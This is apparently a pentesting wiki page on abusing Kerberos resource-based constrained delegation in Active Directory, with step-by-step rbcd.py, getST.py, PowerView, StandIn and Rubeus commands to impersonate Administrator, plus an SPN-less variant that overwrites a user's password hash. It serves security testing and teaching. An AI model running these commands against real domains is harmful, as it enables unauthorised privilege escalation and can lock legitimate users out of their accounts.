Comment on page
(RBCD) Resource-based constrained
If an account, having the capability to edit the
msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.Machine accounts can edit their own
msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either (see Kerberos tickets for more information about the following):
- a user account having a
ServicePrincipalNameset - an account with a trailing
$in thesAMAccountName(i.e. a computer accounts)
The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called
MachineAccountQuota that allows regular users to create up to 10 computer accounts.In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the
MachineAccountQuota is set to 0. The technique is demonstrated later on in this page (RBCD on SPN-less user).Then, in order to abuse this, the attacker has to control the account (A) the target object's (B) attribute has been populated with. Using that account's (A) credentials, the attacker can obtain a ticket through
S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.In the end, an RBCD abuse results in a Service Ticket to authenticate on the target service (B) on behalf of a user. Once the final Service Ticket is obtained, it can be used with Pass-the-Ticket to access the target service (B).
If the "impersonated" account is "is sensitive and cannot be delegated" or a member of the "Protected Users" group, the delegation will (probably) fail.
Nota bene: the native, RID 500, "Administrator" account doesn't benefit from that restriction, even if it's added to the Protected Users group (source: sensepost.com).
There are a few additional details to keep in mind, valid as of the time of writing this note: Jan. 24th 2023.
- In December 2020, along with KB4598347 patching the bronze-bit attack (CVE-2020-17049), Microsoft issued KB4577252 patching the CVE-2020-16996 vulnerability. While this second CVE has few information and details about it online, some lab testing indicates it may be linked to the verifications made by KDCs when receiving S4U2proxy
TGS-REQrequests. - Before this patch, some testing indicates that accounts set as "sensitive and cannot be delegated" wouldn't be delegated (intended behavior), but members of the Protected Users group (and without the "sensitive" setting) would be (unintended !).
- As it turns out, even after the patch, as of Jan. 24th 2023, members of the Protected Users group are now in fact protected against delegation, except for the native administrator account (RID 500), even if it's a member of the group. No idea if this is intended or not but it seems it's not the only security behavior of that group that doesn't apply for this account (e.g. RC4 pre-authentication still works for the RID-500 admin, even if member of the Protected Users group, source: Twitter).
A technique called AnySPN or "service class modification" can be used concurrently with pass-the-ticket to change the service class the Service Ticket was destined to (e.g. for the
cifs/target.domain.local SPN, the service class is cifs).
The
msDS-AllowedToActOnBehalfOfOtherIdentity was introduced with Windows Server 2012 implying that RBCD only works when the Domain Controller Functionality Level (DCFL) is Windows Server 2012 or higher.UNIX-like
Windows
# Read the attribute
rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'
# Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
Testers can also use ntlmrelayx to set the delegation rights with the
--delegate-access option when conducting this attack from a relayed authentication.In this example,
controlledaccount can be a computer account created for the attack, or any other account -with at least one Service Principal Name set for the usual technique, or without for SPN-less RBCD- which credentials are known to the attacker.2 - Obtain a ticket (delegation operation)
🎫
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the
-force-forwardable option to try to bypass restrictions.The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance,
cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.3 - Pass-the-ticket
🛂
In order to run the following commands and tools as other users, testers can check the user impersonation part.
1 - Edit the target's security descriptor (ACE abuse)
✏
The PowerShell ActiveDirectory module's cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).
# Read the security descriptor
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
# Populate the msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
$ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid
# Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
StandIn.exe --object samaccountname=controlledaccountwithSPNName
# Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"
2 - Obtain a ticket (delegation operation)
🎫
# Request a TGT for the current user
Rubeus.exe tgtdeleg /nowrap
# OR - Request a TGT for a specific account
Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes256:$aesKey /nowrap
# Request the "impersonation" service ticket using RC4 Key
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash
# OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"host/target" /altservice:cifs,ldap /domain:"domain" /user:"controlledaccountwithSPN" /ticket:$kirbiB64tgt
The NT hash and AES keys can be computed as follows.
Rubeus.exe hash /password:$password
Rubeus.exe hash /user:$username /domain:"domain.local" /password:$password
In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the
/bronzebit flag to try to bypass restrictions.The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance,
cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more services. This technique can be exploited with the /altservice flag with Rubeus.3 - Pass-the-ticket
🛂
Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the
MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.The technique is as follows:
- 1.Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
- 2.Change the user's password hash and set it to the TGT session key.
- 3.Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
- 4.
While this technique allows for an abuse of the RBCD primitive, even when the
MachineAccountQuota is set to 0, or when the absence of LDAPS limits the creation of computer accounts, it requires a sacrificial user account. In the abuse process, the user account's password hash will be reset with another hash that has no known plaintext, effectively preventing regular users from using this account.UNIX-like
Windows
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
smbpasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
Last modified 8mo ago